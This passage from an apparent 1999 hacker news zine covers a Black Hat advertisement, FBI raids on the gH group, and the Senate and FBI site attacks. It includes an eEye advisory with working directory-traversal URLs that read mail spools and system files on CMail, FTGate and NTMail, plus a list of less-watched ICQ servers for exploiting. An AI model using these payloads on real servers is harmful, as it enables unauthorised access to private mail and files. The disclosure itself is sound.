  3164.       The Black Hat Briefings conference has been organized to put an end
  3165.       to concerns like these.  While many conferences focus on information
  3166.       and network security, only The Black Hat Briefings will put your
  3167.       engineers and software programmers face-to-face with today's cutting
  3168.       edge computer security experts and "underground" security specialists.
  3169.       The "White Hat" track will inform your CEO or CIO with no-nonsense
  3170.       information about what issues to be aware of, and what they can ignore.
  3171.  
  3172.       Only the Black Hat Briefings conference will provide your people with
  3173.       the tools and understanding they need to help thwart those lurking either
  3174.       in the shadows of your firewall or the depths of your companies WAN. 
  3175.       The reality is, they are out there.  The choice is yours.  You can live in
  3176.       fear of them.  Or, you can learn from them.
  3177.  
  3178.                                  Conference Overview
  3179.                                  
  3180.       The Black Hat Briefings conference series was created to fill the need of computer
  3181.       professionals to better understand the security risks to their computer and information
  3182.       infrastructures by potential threats.  To do this we assemble a group of vendor neutral
  3183.       security professionals in the same room and let them talk candidly about the problems
  3184.       businesses face, and the solutions they see to those problems.  No gimmicks, just
  3185.       straight talk by people who make it their business to explore the ever changing security
  3186.       space. 
  3187.       
  3188.       Spanning two days with three separate tracks, The Black Hat Briefings will focus
  3189.       on the vital security issues facing organizations with large Enterprise networks and
  3190.       mixed network operating systems.  Topics will Include Intrusion Detection Systems
  3191.       (IDS), Computer Forensics (CF) systems, Incident Response, secure programming
  3192.       techniques and tool selection for creating and effectively monitoring your networks.  You
  3193.       will be put face to face with the people developing the tools used by and against
  3194.       hackers. 
  3195.       
  3196.       This year the Black Hat Briefings has grown to include a separate track specifically
  3197.       designed for the CEO and CIO. This third track, nick named the "White Hat" track,
  3198.       was developed by the National Computer Security Center (NCSC) of the
  3199.       National Security Agency.  While the other tracks have a technology focus, this track
  3200.       is for people who have to manage it.  What should you look for when hiring an outside
  3201.       security consultant?  Should you even look outside your organization?  
  3202.       
  3203.       The Black Hat Briefing's intense sessions will bring to light the security and
  3204.       mis-configuration problems confronting organizations and network administrators, most
  3205.       of which go unnoticed by today's preoccupied system administrators where security
  3206.       gets put off in lieu of constant network growth and upgrades.  Our speakers will discuss
  3207.       the strategies involved in correcting existing problems and speak towards what you can
  3208.       expect in the future. 
  3209.       
  3210.       This year you can expect more visual demonstrations, more speakers who are
  3211.       authoritative in their fields, and as always an excellent time. 
  3212.       
  3213.       As an added bonus, people who attend The Black Hat Briefings get free admission to
  3214.       DEF CON 7.0, the largest Hacker convention in the US, held right after Black Hat in Las
  3215.       Vegas.  For more information see their web site. 
  3216.        
  3217.                        Who is this conference for?
  3218.       
  3219.       CEOs and CIOs, MIS and IT managers as well as the people doing the work.  Basically
  3220.       anyone dealing with the security functions at your company looking for deep insight into
  3221.       the security space. 
  3222.        
  3223.                               Registration Costs
  3224.                   Registration costs are $995 US before June 14th 1999 
  3225.                      Late registration fees are $1,195 after June 14th. 
  3226.               You may cancel your registration before July 1st for a full refund. 
  3227.           This fee includes two days of speaking, materials, a reception, and meals. 
  3228.               To register, please use the button on the left hand side of this page. 
  3229.       
  3230.         We have excellent rates at the Venetian Hotel!  Do not be discourage by its
  3231.                                       splendor! 
  3232.                                             
  3233.                                 Discount Airfare
  3234.                                 
  3235.       We've got great discounts on airfare from Montrose Travel, who book bulk air travel.  If you need
  3236.                      to still book airline tickets please give Montrose a call first. 
  3237.       
  3238.                              Montrose Travel 1-800-301-9673 
  3239.                               http://www.montrosetravel.com
  3240.       
  3241.       They currently have deals for Black Hatattendees from the US and International on the following
  3242.       airlines:
  3243.       
  3244.                    America West      Southwest                 Delta
  3245.                    American          Southwest Airlines        United Airlines
  3246.                    
  3247.                    and other smaller carriers and even International Airfare rates.
  3248.       
  3249.       Expect rates lower than published.  When calling make sure you refer to The Black Hat Briefings as
  3250.       the group name.
  3251.  
  3252.  
  3253.  
  3254.  13.0 eEYe Digital Security advisory: Multiple Web Interface Security Holes
  3255.       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
  3256.  
  3257.  
  3258.       Multiple Web Interface Security Holes
  3259.       Systems Affected
  3260.       CMail 2.3
  3261.       FTGate 2,1,2,1
  3262.       NTMail 4.20
  3263.       
  3264.       Release Date
  3265.       May 26, 1999
  3266.       
  3267.       Advisory Code
  3268.       AD05261999
  3269.       
  3270.       Description:
  3271.       
  3272.       The following holes were found while testing Retina against a few various
  3273.       services that have web based interfaces. The holes are nothing amazing just
  3274.       common amongst many web based interfaces. We are sure some other software
  3275.       will be found with similar holes... if you come across some contact
  3276.       info@eeye.com and let us know.
  3277.       
  3278.       ---> CMail
  3279.       
  3280.       The default location of the web based interface for CMail is C:\Program
  3281.       Files\Computalynx\CMail Server\pages\. It is a simple hole. For example if
  3282.       we were to load http://[server]:8002/../spool/username/mail.txt in our web
  3283.       browser we would be looking at the email for that user. Note: Mail.txt is
  3284.       not the real mail file. There is one minor problem... reading of files is
  3285.       not totally straight forward. It seems CMail has some mechanism of what it
  3286.       will read or not. If you have a text file with no carriage returns in it
  3287.       CMail will not read it. There also exists multiple buffer overflows within
  3288.       the various SMTP and POP server functions of CMail. Yes they are
  3289.       exploitable. >:-]
  3290.       
  3291.       ---> FTGate
  3292.       
  3293.       Same as above basically. http://[server]:8080/../newuser.txt The only
  3294.       difference is that FTGate doesn't seem to mind if the file has the carriage
  3295.       returns or not.
  3296.       
  3297.       ---> NTMail
  3298.       
  3299.       NTMail suffers from the same programming flaw...
  3300.       http://[server]:8000/../../../../../boot.ini.
  3301.       
  3302.       There is other server software out there that suffers from these common
  3303.       holes. An average of 65% of the software we have tested thus far has had
  3304.       problems with restricting the path that they allow. NTMail as well as the
  3305.       other two can be run as a service, NTMail does it by default, therefore you
  3306.       can read files as SYSTEM on most of them.
  3307.       
  3308.       Fixes
  3309.       
  3310.       Disable the web interfaces where applicable until the vendors release
  3311.       patches.
  3312.       
  3313.       Vendor Status
  3314.       
  3315.       All vendors have been notified.
  3316.       
  3317.       Copyright (c) 1999 eEye Digital Security Team
  3318.       Permission is hereby granted for the redistribution of this alert
  3319.       electronically. It is not to be edited in any way without express consent of
  3320.       eEye. If you wish to reprint the whole or any part of this alert in any
  3321.       other medium excluding electronic medium, please e-mail alert@eEye.com for
  3322.       permission.
  3323.       
  3324.       Disclaimer:
  3325.       
  3326.       The information within this paper may change without notice. Use of this
  3327.       information constitutes acceptance for use in an AS IS condition. There are
  3328.       NO warranties with regard to this information. In no event shall the author
  3329.       be liable for any damages whatsoever arising out of or in connection with
  3330.       the use or spread of this information. Any use of this information is at the
  3331.       user's own risk.
  3332.       
  3333.       Please send suggestions, updates, and comments to:
  3334.       
  3335.       eEye Digital Security Team
  3336.       
  3337.       info@eEye.com
  3338.       http://www.eEye.com   
  3339.  
  3340.            
  3341.       @HWA     
  3342.       
  3343.  14.0 Fun with ICQ
  3344.       ~~~~~~~~~~~~ 
  3345.       
  3346.       Just stumbled across this site in my travels, has some interesting info check
  3347.       'em out....
  3348.       
  3349.       From http://home.earthlink.net/~childzplay/comp.html
  3350.       
  3351.        Although Miribalis says they do not recommend using 99a yet, I've been using
  3352.       it for about 1 month and haven't had any trouble with it. Some other people I
  3353.       know have not been so lucky. I guess it is a use at your own risk deal until they
  3354.       officially release the 99a final version.
  3355.       
  3356.        If you didn't know, the server that comes as default in v.99a is watched closely
  3357.       by Miribalis. Therefore, if you want to go on an exploit journey, I would suggest
  3358.       connecting up to a more stable, and less watched server. Here are some for your
  3359.       entertainment:
  3360.       
  3361.       Mirabilis.com 4000, 
  3362.       ICQMirabilis.com 4000, 
  3363.       icq.mirabilis.com 4000, 
  3364.       icq0.mirabilis.com 4000, 
  3365.       icq1.mirabilis.com 4000,
  3366.       icq2.mirabilis.com 4000,
  3367.       icq3.mirabilis.com 4000,
  3368.       icq4.mirabilis.com 4000,
  3369.       icq5.mirabilis.com 4000,
  3370.       icq.lmirabilis.com 4000,
  3371.       38.151.231.40 4000,
  3372.       38.161.231.4 4000, 
  3373.       38.161.231.40 4000,
  3374.       38.161.231.41 4000,
  3375.       38.161.231.44 4000,
  3376.       38.161.231.45 4000,
  3377.       38.161.231.49 4000,
  3378.       38.161.232.40 4000,
  3379.       38.161.232.44 4000,
  3380.       38.161.232.45 4000,
  3381.       104.99.113.49 4000,
  3382.       105.99.113.49 4000,
  3383.       202.68.84.41 4000, 
  3384.       204.91.242.25 4000,
  3385.       204.91.242.35 4000,
  3386.       204.91.242.44 4000,
  3387.       204.91.242.112 4000,
  3388.       204.91.243.90 4000,
  3389.       204.91.243.113 4000,
  3390.       204.91.243.115 4000,
  3391.       207.95.232.2 4000, 
  3392.       208.21.43.40 4000, 
  3393.       208.21.43.50 4000, 
  3394.       208.22.84.41 4000,
  3395.       208.161.231.40 4000, 
  3396.       208.202.84.11 4000, 
  3397.       208.202.84.21 4000, 
  3398.       208.202.84.41 4000, 
  3399.       208.204.84.41 4000, 
  3400.       208.208.82.41 4000,
  3401.       208.208.84.41 4000, 
  3402.       208.215.43.40 4000, 
  3403.       208.215.43.41 4000, 
  3404.       208.215.43.50 4000, 
  3405.       208.215.43.50 4000, 
  3406.       208.215.43.77 4000,
  3407.       208.215.43.90 4000,
  3408.       208.315.43.50 4000,
  3409.       209.83.180.44 4000,
  3410.       209.83.180.45 4000,
  3411.       209.91.242.25 4000,
  3412.       209.91.242.35 4000 
  3413.       
  3414.       @HWA
  3415.       
  3416.  
  3417.  
  3418.  15.0 FBI raids suspected hackers
  3419.       ~~~~~~~~~~~~~~~~~~~~~~~~~~~
  3420.       
  3421.       From HNN http://www.hackernews.com/
  3422.       
  3423.       Received: by hackernews (mbox contact) (with Cubic Circle's
  3424.       cucipop (v1.31 1998/05/13) Thu May 27 15:40:08 1999)
  3425.       X-From_: [deleted]@hotmail.com Wed May 26 16:20:14 1999
  3426.       Delivered-To: submit@hackernews.com
  3427.       Received: from hotmail.com (law2-f208.hotmail.com
  3428.       [216.32.XXX.XXX])
  3429.       by hackernews.com (Postfix) with SMTP id A87D4469F      for
  3430.       ; Wed, 26 May 1999 16:20:13 -0500 (EST)
  3431.       Received: (qmail 39781 invoked by uid 0); 26 May 1999 21:23:12
  3432.       -0000
  3433.       Message-ID: <1999052621.39780.qmail@hotmail.com>
  3434.       Received: from 192.116.XXX.XXX by www.hotmail.com with HTTP;
  3435.       Wed, 26 May 1999 14:23:11 PDT
  3436.       X-Originating-IP: [192.116.XXX.XXX]
  3437.       From: "[deleted]" <[deleted]@hotmail.com>
  3438.       To: submit@hackernews.com
  3439.       Subject: www.fbi.gov IS DEAD
  3440.       Date: Wed, 26 May 1999 21:23:11 GMT
  3441.       Mime-Version: 1.0
  3442.       Content-type: text/plain; format=flowed;
  3443.       Return-Path: 
  3444.  
  3445.       Date:        5/26/99 17:23
  3446.       Received:    5/27/99 16:48
  3447.       From:        [deleted]@hotmail.com
  3448.       To:          submit@hackernews.com
  3449.  
  3450.       FBI WILL NOT FUCKIN WITH MY FRIENDS FROM GLOBAL HELL (gH)
  3451.  
  3452.  
  3453.       www.fbi.gov IS DEAD
  3454.  
  3455.       im the Israeli ghost and yes i am from israel
  3456.  
  3457.       the fbi will stop hunting hackers
  3458.  
  3459.       gangsters dont dance we boggy
  3460.  
  3461.       today is the 25.5.99 israeli time is : 00:22
  3462.  
  3463.       www.fbi.gov will stay down all day  !
  3464.  
  3465.  
  3466.       the Israeli Ghost
  3467.  
  3468.  
  3469.       _______________________________________________________________
  3470.       Get Free Email and Do More On The Web. Visit http://www.msn.com
  3471.  
  3472.  
  3473.       FBI Raids Suspected Crackers. 
  3474.  
  3475.       contributed by darkscent 
  3476.       It is often difficult to separate the fact from the fiction,
  3477.       rumors, supposition, and unsubstantiated allegations
  3478.       that fly around the net when big news breaks. This is
  3479.       what HNN has been able to verify so far. Yesterday
  3480.       morning at aprox 6:00 am CST the FBI executed nine
  3481.       search warrants in Houston, Seattle and various
  3482.       California locations. HNN believes that some of those
  3483.       who where raided where iCBM, MostHated, loophole,
  3484.       Spaceg0at, soulblazer, fryz, vallah and Cl0pz. HNN has
  3485.       not learned of any arrests that have been made. While
  3486.       the FBI has not revealed why the search warrants were
  3487.       executed it is believed to have some relation to the
  3488.       recent crack of whitehouse.gov. HNN has received no
  3489.       confirmation of Most Wanted lists or FBI Directives,
  3490.       rumors of which have been floating around the net. 
  3491.  
  3492.       MSNBC
  3493.       http://www.msnbc.com/news/273819.asp
  3494.  
  3495.       In response to the recent raids several other members
  3496.       of gH (Global Hell) as well as other groups such as Team
  3497.       spl0it have attacked numerous web sites, (estimates
  3498.       range from between 40 and 100). The FBI has admitted
  3499.       to receiving a major Denial of Service attack, and the
  3500.       US Senate web site was defaced for a few minutes. In
  3501.       an interview with MSNBC MostHated said "The
  3502.       retaliation has to stop." HNN received an email from
  3503.       "Israeli Ghost" claiming responsibility for the FBI DoS
  3504.       attack. HNN was also able to snag the US Senate web
  3505.       page defacement before it was restored. 
  3506.  
  3507.       Nando Times
  3508.       http://www.techserver.com/story/body/0,1634,53692-86005-610419-0,00.html
  3509.       
  3510.       CNN
  3511.       http://www.cnn.com/TECH/computing/9905/27/senate.hackers/
  3512.       
  3513.       C|Net
  3514.       http://www.news.com/News/Item/0,4,37138,00.html?owv
  3515.       
  3516.       Israeli Ghost Email
  3517.       http://www.hackernews.com/orig/ghost.html
  3518.       
  3519.       HNN Cracked Pages Archive
  3520.       http://www.hackernews.com/archive/crackarch.html
  3521.  
  3522.       Last week, a gH member Zyklon (Eric Burns), was
  3523.       indicted in connection with three separate attacks on
  3524.       Virginia area systems owned by Computer Tech
  3525.       Services, Issue Dynamics, and Electric Press which
  3526.       housed the web site of the United States Information
  3527.       Agency. The Seattle Times has run a biographical piece
  3528.       on Zyklon. The story has quotes from his classmates
  3529.       and parents. 
  3530.  
  3531.       Seattle Times
  3532.       http://www.seattletimes.com/news/local/html98/hack_19990525.html
  3533.       
  3534.       Zyklon's Indictment
  3535.       http://www.hackernews.com/orig/zyklon.html
  3536.  
  3537.  
  3538.       MSNBC:
  3539.       
  3540.       Feds vs. hackers: The battle widens
  3541.       FBI and Senate shut down Web sites after a series of attacks; 
  3542.       skirmishes waged with search warrants and Internet sieges
  3543.       By Brock Meeks, Alan Boyle and Bob Sullivan
  3544.       MSNBC
  3545.  
  3546.  
  3547.   
  3548.                
  3549.       May 28   Computer attacks on the FBI and U.S.
  3550.       Senate Web sites are leading to a broader
  3551.       criminal investigation into such intrusions,
  3552.       officials indicated Friday. The latest skirmish
  3553.       between federal authorities and Web site
  3554.       attackers began Wednesday with FBI raids on
  3555.       purported members of a group called gH, or
  3556.       Global Hell, in at least three states and has
  3557.       continued with a protest campaign targeting a
  3558.       wide spectrum of Internet sites.
  3559.       
  3560.  
  3561.              THE FBI and Senate Web sites remained inaccessible
  3562.       Friday as a result of the computer attacks. The FBI shut
  3563.       down its Web site Wednesday after it was swamped by a
  3564.       denial-of-service attack. 
  3565.              The Senate took its site offline Thursday night after
  3566.       attackers broke into the public computer server and
  3567.       replaced the congressional bodyÆs home page with a screed
  3568.       against the FBI.
  3569.              The hacked page claimed credit on behalf of a group
  3570.       known as the Masters of Downloading, or M0D ù and
  3571.       denigrated the FBI as well as Global Hell.
  3572.              ôThe FBI may be all over the other groups like ... gH
  3573.       and tK. ... M0D make those morons look like a group of
  3574.       special-ed students! FBI vs. M0D in Æ99, bring it on!ö read
  3575.       the page, which was peppered with ruder comments and
  3576.       hacker lingo. 
  3577.              The intrusion ôcompromised our Senate Internet Web
  3578.       site, and as a result the Senate has taken down our Web
  3579.       page to do some investigation,ö said Sherry Little, a
  3580.       spokeswoman for the Senate sergeant-at-arms, who
  3581.       manages the site.
  3582.              She said FBI agents were heading up the investigation.
  3583.              ôTheyÆre looking at the criminal aspects of it,ö she told
  3584.       MSNBC. ôTheyÆre in charge of the investigation, in that
  3585.       theyÆre trying to determine where it came from and whether
  3586.       there was any connection at all to any incidents that theyÆve
  3587.       explored in the past.ö
  3588.              The Web outage rendered the official home pages of all
  3589.       100 senators and senatorial committees inaccessible, but
  3590.       e-mail and other computer services not related to the public
  3591.       Web site were unaffected, Little said.
  3592.              System administrators for the FBI and the Senate Web
  3593.       sites were beefing up site security during the down time ù
  3594.       and no one could say exactly when the sites would be
  3595.       returned to service. ôWeÆre not expecting this to be a
  3596.       long-term problem,ö Little said.
  3597.              The FBI was continuing its investigation into the attack
  3598.       on its own Web site, said Dave Miller, a media
  3599.       representative at the bureauÆs national office. He confirmed
  3600.       that ôthis could result in criminal penalties.ö
  3601.              Although he declined to provide specifics on the
  3602.       investigation, Miller told MSNBC that ôit would be a logical
  3603.       pointö that the FBI would look for connections to past
  3604.       attacks on federal Web sites.
  3605.              Earlier this month, Global Hell was implicated in
  3606.       attacks on a variety of U.S. government sites, including sites
  3607.       for the White House, several Cabinet departments and the
  3608.       U.S. Information Agency. Last week, Global Hell member
  3609.       Eric Burns (who also goes by the name Zyklon), was
  3610.       arrested in connection with three attacks on government
  3611.       computers.
  3612.              Members of Global Hell reported that law-enforcement
  3613.       officials served search warrants early Wednesday in Seattle,
  3614.       Houston and California.
  3615.              In Houston, FBI spokesman Rolando Moss told
  3616.       MSNBC that agents were investigating ôallegations of
  3617.       computer intrusionsö involving a teen-ager who uses the
  3618.       hacker handle ôMosthated.ö He said the investigation was
  3619.       continuing and declined further comment.
  3620.              In telephone conversations with MSNBC, Mosthated
  3621.       said that his home was raided at about 6 a.m. CT
  3622.       Wednesday, and that family computer equipment was
  3623.       confiscated. He said his parents were ôreally mad. ... The
  3624.       computer had all their financial information and stuff on it.ö
  3625.       MosthatedÆs mother got on the line to read from the FBIÆs
  3626.       receipt for the equipment and confirm that she was ôreally
  3627.       mad.ö
  3628.              Mosthated said at least eight other people around the
  3629.       country had been served with search warrants as part of ôa
  3630.       huge hacker crackdown.ö Four other Houston-area
  3631.       hackers, three in California and one in Seattle reportedly
  3632.       received FBI visits. None was arrested, but all had
  3633.       computer equipment confiscated, he said.
  3634.              An FBI representative in San Diego said she could not
  3635.       comment on the investigation because the paperwork was
  3636.       sealed. Inquiries with the bureauÆs Seattle office met with a
  3637.       similar response: ôRight now there are still things that need
  3638.       to be decided,ö one agent told MSNBC on condition of
  3639.       anonymity. 
  3640.              
  3641.  
  3642.             White House Web site shut down
  3643.  
  3644.              The bureauÆs Web site went out of service only hours
  3645.       after the raids.
  3646.              According to AntiOnline, a computer security site, an
  3647.       individual calling himself Israeli Ghost was taking credit for
  3648.       the attack on the FBIÆs site. 
  3649.              ôFBI will not (profanity deleted) with my friends from
  3650.       Global Hell,ö the hacker allegedly wrote in an e-mail to
  3651.       AntiOnline.
  3652.              Other members of the hacking community, contacted
  3653.       by MSNBC, said the FBI site was hit by whatÆs called a
  3654.       denial-of-service attack. In such an attack, the host
  3655.       computer is not actually controlled by an outsider; rather,
  3656.       outsiders bombard a Web site with so many simultaneous
  3657.       hits that it becomes overwhelmed and can no longer
  3658.       function.
  3659.              Mosthated said he didnÆt know who was responsible
  3660.       for the denial-of-service attack. The FBI did ask some
  3661.       cursory questions about this monthÆs attack on the White
  3662.       House Web site. He said he was shown printouts of Web
  3663.       stories about the incident from MSNBC and CNN. ôBut
  3664.       they didnÆt really push those questions,ö Mosthated said. 
  3665.  
  3666.  
  3667.              As the day went on, other Web sites ù none of which
  3668.       had any apparent connection to the FBI ù were defaced.
  3669.       A correspondent claiming to be a Global Hell member
  3670.       called Infamous sent an e-mail message to MSNBC
  3671.       Wednesday night criticizing the FBI and saying he ôdefaced
  3672.       over 40 web domains today to state my opinion.ö The
  3673.       writerÆs identity could not be confirmed, however.
  3674.              
  3675.       æTHIS NEEDS TO STOPÆ
  3676.              The response to the raids has spread through the digital
  3677.       underground and taken on a life of its own, a spontaneous
  3678.       act of retaliation that wasnÆt asked for.
  3679.              ôThe retaliation has to stop,ö Mosthated said. ôAll this
  3680.       ... needs to stop. Have you seen all the Web pages that
  3681.       have been changed in the last hour? Someone told me that
  3682.       thereÆs been more than a hundred,ö he said.
  3683.              ôThis (retaliation) is just going to look worse on the
  3684.       people that did get raided,ö said the 18-year-old
  3685.       Mosthated, who says he stopped hacking last summer to
  3686.       set up his own security firm. 
  3687.              This impromptu show of support is going to backfire,
  3688.       he told MSNBC. ôEverything that gH has done is going to
  3689.       be put on my shoulders,ö owing to his position as the
  3690.       groupÆs founder. 
  3691.              The FBI agents who executed a search warrant on
  3692.       Mosthated said they were looking for evidence related to
  3693.       ôillegal telecom activity,ö he said, in particular illegally set-up
  3694.       conference calls. ôThe FBI told me some company lost
  3695.       $250,000 because of the illegal conference calling activity,ö
  3696.       he said.
  3697.              Mosthated and other sources indicated that the FBI
  3698.       appeared to be targeting other figures prominent in the
  3699.       hacker community. AntiOnline published a list of almost 100
  3700.       computer handles, purportedly taken from directives sent by
  3701.       the FBI to Internet service providers.
  3702.       
  3703.       Seattle Times;
  3704.       
  3705.       Posted at 12:02 p.m. PDT; Tuesday, May 25, 1999 
  3706.  
  3707.       Suspect was star hacker on the
  3708.       Internet but shy and lonely in real life 
  3709.  
  3710.       by Roberto Sanchez 
  3711.       Seattle Times staff reporter 
  3712.  
  3713.       In the world of computers, he was Zyklon, the
  3714.       aggressive "cracker" named after a poison gas,
  3715.       who had the skill to break into the Web sites
  3716.       of movie studios, universities and even the
  3717.       Chinese government. 
  3718.  
  3719.       But on the other side of the monitor -
  3720.       according to federal prosecutors - Zyklon was
  3721.       really Eric Burns, a lanky, shy, 19-year-old, a
  3722.       former student at Shorewood High School with few friends,
  3723.       several run-ins with the law, and an unhealthy obsession with a
  3724.       woman who didn't know anything about him. 
  3725.  
  3726.       Burns last week was indicted by a federal grand jury in
  3727.       Alexandria, Va., on three counts of computer intrusion.
  3728.       Prosecutors say Burns broke into hundreds of Web pages,
  3729.       altered files and caused thousands of dollars in damage. They say
  3730.       he often left behind text taunting his victims and professing his
  3731.       unrequited love for the woman, a former high-school classmate. 
  3732.  
  3733.       Burns lives in Shoreline. But he was indicted in the Washington,
  3734.       D.C., suburb because that's where the compromised computer
  3735.       systems are located. 
  3736.  
  3737.       Burns and his parents, Alice and Edward, did not return calls for
  3738.       comment. His lawyer, Ralph Hurvitz, advised his client not to give
  3739.       interviews. He said Burns will plead not guilty. 
  3740.  
  3741.       Acquaintances of Burns - who also took classes at Shoreline
  3742.       Community College last year - describe him as the stereotypical
  3743.       computer nerd: shy, didn't talk to many people, had few friends
  3744.       and spent much of his time on the computer. 
  3745.  
  3746.       "He was very smart, one of the smartest kids I know," said David
  3747.       Thompson, a member of Shorewood's class of 1998. "Eric knew
  3748.       and knows so much about computers. He's kind of a freak that
  3749.       way." 
  3750.  
  3751.       Even the woman, whom Burns idolized in practically every Web
  3752.       site he hacked, said she had never talked to or been personally
  3753.       approached by Burns. 
  3754.  
  3755.       "I didn't know who he was or what he did," she said. 
  3756.  
  3757.       She said she took one law class with him her senior year of high
  3758.       school. After that, she began to receive letters from him, then gifts.
  3759.       Court records say she received a crystal bell and a diamond
  3760.       necklace, which her family returned. 
  3761.  
  3762.       "Halfway through my senior year, someone called my house and
  3763.       told me to look up this (Web) address" for some of his
  3764.       handiwork, the woman said. She never did. 
  3765.  
  3766.       She said she didn't go to the police or seek a restraining order
  3767.       because Burns didn't seem dangerous. 
  3768.  
  3769.       "He never did anything to threaten me," she said. 
  3770.  
  3771.       A former friend said Burns had a mean side, which he often
  3772.       expressed in his hacking and "cracking" - the term for breaking
  3773.       into Web sites. 
  3774.  
  3775.       "He was into it for the power," said Eric Lindvall, a former student
  3776.       at Shorewood who was a friend of Burns' in 1994. He said he,
  3777.       Burns and two other students spent much of their free time
  3778.       together, breaking into computer or phone systems, getting access
  3779.       to credit-card numbers and phone accounts. 
  3780.  
  3781.       Lindvall said he and Burns actually got caught by FBI agents in
  3782.       1994 when they used a stolen credit-card number to buy
  3783.       computer equipment. They were not prosecuted, and he said he
  3784.       stopped spending time with Burns after that. 
  3785.  
  3786.       Lindvall also said Burns and two other students were arrested in
  3787.       1996 for allegedly using stolen credit-card numbers to buy
  3788.       computer gear, then reselling it to stores or individuals. Again,
  3789.       Burns was not prosecuted, he said.. 
  3790.  
  3791.       An affidavit filed by the U.S. Attorney said Burns bragged online
  3792.       to an acquaintance about getting caught for credit fraud as a
  3793.       minor. The Shoreline Week, a community newspaper, published a
  3794.       story Oct. 2, 1996, about three Shoreline teens arrested for credit
  3795.       fraud. 
  3796.  
  3797.       Whatever popularity Burns lacked in the real word, he made up
  3798.       for on the Internet. His alleged exploits were regularly featured in
  3799.       Web sites dedicated to computer hacking. Some people even
  3800.       admired him; a cracker who defaced the University of
  3801.       Washington's engineering Web site in April dedicated the deed to
  3802.       Zyklon. 
  3803.  
  3804.       Zyklon apparently took his name from the gas used by Nazi
  3805.       Germany to exterminate Jews. 
  3806.  
  3807.       Burns will be arraigned on June 14. If guilty, he faces up to 15
  3808.       years in prison. 
  3809.  
  3810.       Roberto Sanchez's phone message number is 206-464-8522. 
  3811.  
  3812.  
  3813.  
  3814.       Copyright ⌐ 1999 Seattle Times Company 
  3815.  
  3816.       @HWA                     
  3817.       
  3818.  15.1 Real life hacker wargames
  3819.       ~~~~~~~~~~~~~~~~~~~~~~~~~
  3820.       
  3821.       RAIDED HACKERS
  3822.       by BHZ, Friday 28th May 1999 on 6.32 pm CET
  3823.       Our new Special Report talks about recent hackers versus Govenment, and FBI
  3824.       versus hackers relations. White House was hacked, US Senate was hacked but
  3825.       several hackers have been found. Read the article Real hacker war-games.     
  3826.       
  3827.       Real hacker war-games
  3828.  
  3829.       Recently hackers became more and more active. US government and Universities
  3830.       are keep being hacked. Even the official White House site (www.whitehouse.gov) was
  3831.       hacked, and replaced with anti-Clinton messages and pictures. Government struck.
  3832.       Eric Burns aka Zyklon, a gH member was caught and indicted on the count of several
  3833.       break-ins. His name was also mentioned in "greetz" area of hacked White House
  3834.       site, so he was questioned about it too. Zyklon, 19 year old,  could get up to 15 years 
  3835.       of imprisonment. His fellow hackers from gH hacked in revenge several domains
  3836.       with messages of protest against the Government.  MAST3RZ 0F D0WNL0ADING
  3837.       earlier today hacked the official US Senate site (www.senate.gov), and wrote about
  3838.       battle against FBI and US government. FBI site (www.fbi.gov) was under big DoS
  3839.       (denial of service) attack, and the "attacker" mailed HNN about it (read his mail in
  3840.       HNN Buffer Overflow section).
  3841.       Today AntiOnline and HNN published more details of hackers raided by FBI 2 days ago.
  3842.       HNN wrote that :"some of those who where raided where iCBM, MostHated, loophole, 
  3843.       soulblazer, fryz, vallah and Cl0pz". We found out that following hackers were too involved
  3844.       in this FBI actions:
  3845.       
  3846.           - Zyklon (he is found and indicted) 
  3847.           - Spacegoat (already found) 
  3848.           - Spade (already found) 
  3849.           - Overfien (still looking for him) 
  3850.           - Rottenboy (still looking for him) 
  3851.           - Hybrid (still looking for him) 
  3852.           - Sketch (still looking for him) 
  3853.           - Lord Omino (still looking for him) 
  3854.       
  3855.       The crew from Channel 12 did a background check on the hackers and their supposed crimes.
  3856.       
  3857.       - Rottenboy aka PowerDragon is wanted for telecommunications fraud
  3858.       
  3859.       - Gino Ramano is also wanted for telecommunications fraud
  3860.       
  3861.       - Lord Omino aka moviesmith is too wanted for telecommunications fraud
  3862.       
  3863.       - Overfien is suspected in:
  3864.       
  3865.          1.hacking various subnets for the hacker group GH 
  3866.          2.hacking mit.edu, zapnow.com, wwu.edu, washington.edu 
  3867.          3.cracking into syprnet (governments classified network) 
  3868.          4.leaving 221 computers infilitrated with the words "overfien wuz here" 
  3869.          5.wanted in oregon for western union fraud "$60,000" 
  3870.          6.also possible accounts of forger and theft 
  3871.       
  3872.       - Sketch aka mode is wanted for telecommunications fraud
  3873.       
  3874.       - Grip aka JF is wanted for hacking 
  3875.       
  3876.       - loophole aka Elaich is also wanted for hacking 
  3877.       
  3878.       - Hybrid is wanted for telecommunications fraud
  3879.       
  3880.       
  3881.       BHZ
  3882.       for Help Net Security
  3883.       http://net-security.org
  3884.       
  3885.       @HWA
  3886.       
  3887.  16.0 MOD hacks Senate site
  3888.       ~~~~~~~~~~~~~~~~~~~~~
  3889.       From http://www.maximumpcmag.com/ 
  3890.                                                            05.28.99 11:53
  3891.  
  3892.       Hackers Add Senate To Victims
  3893.  
  3894.       Hackers have added the U.S. Senate's main page to their list of owned 
  3895.       web sites in an escalating war between the FBI and "crackers" around 
  3896.       the globe. 
  3897.  
  3898.                 Hackers defaced the main page for the Senate late Thursday
  3899.       leaving the message: "The FBI may be all over the other groupz, like
  3900.       those gH and tK queerz, cl00bagz gal0re. M0D make th0se m0ronz l00k
  3901.       like a gr0up of special-ed st00dentz!@# FBI vs. M0D in '99, BR1NG IT
  3902.       0N FUQRZ! (BTW NIPC IZ ALS0 0WNED)." 
  3903.  
  3904.       Members of the MOD group told security site, Antionline, that they
  3905.       gained access to another computer on the Senate's network, installed a
  3906.       sniffer, and swiped the administrators passwords. On Friday, the
  3907.       Senate's page was still down but a mirror of the hacked site was kept on
  3908.       Antionline. 
  3909.  
  3910.       On Wednesday, an attack on the FBI's main page spooked the agency
  3911.       enough to take down its main page. The FBI's page also remained down
  3912.       Friday morning. 
  3913.  
  3914.       Related Story: FBI Site Attacked      
  3915.       
  3916.       
  3917.  
  3918.       FBI Site Attacked
  3919.  
  3920.       The latest victim in a skirmish between hackers and the FBI may have been
  3921.       the brown-shoes own web site. 
  3922.  
  3923.       The FBI's main web page remained offline Thursday afternoon while the Bureau
  3924.       checked it for security intrusions. The FBI reportedly took the page down 
  3925.       Wednesday after someone attempted to hack it. 
  3926.  
  3927.       The skirmish apparently began Wednesday morning when FBI agents in
  3928.       the Houston office raided the homes of hackers who allegedly belonged
  3929.       to a group called "gH." Agents did not arrest anyone but confiscated
  3930.       computers of numerous people. 
  3931.  
  3932.       According to security news site, antionline.com, the FBI has also directed
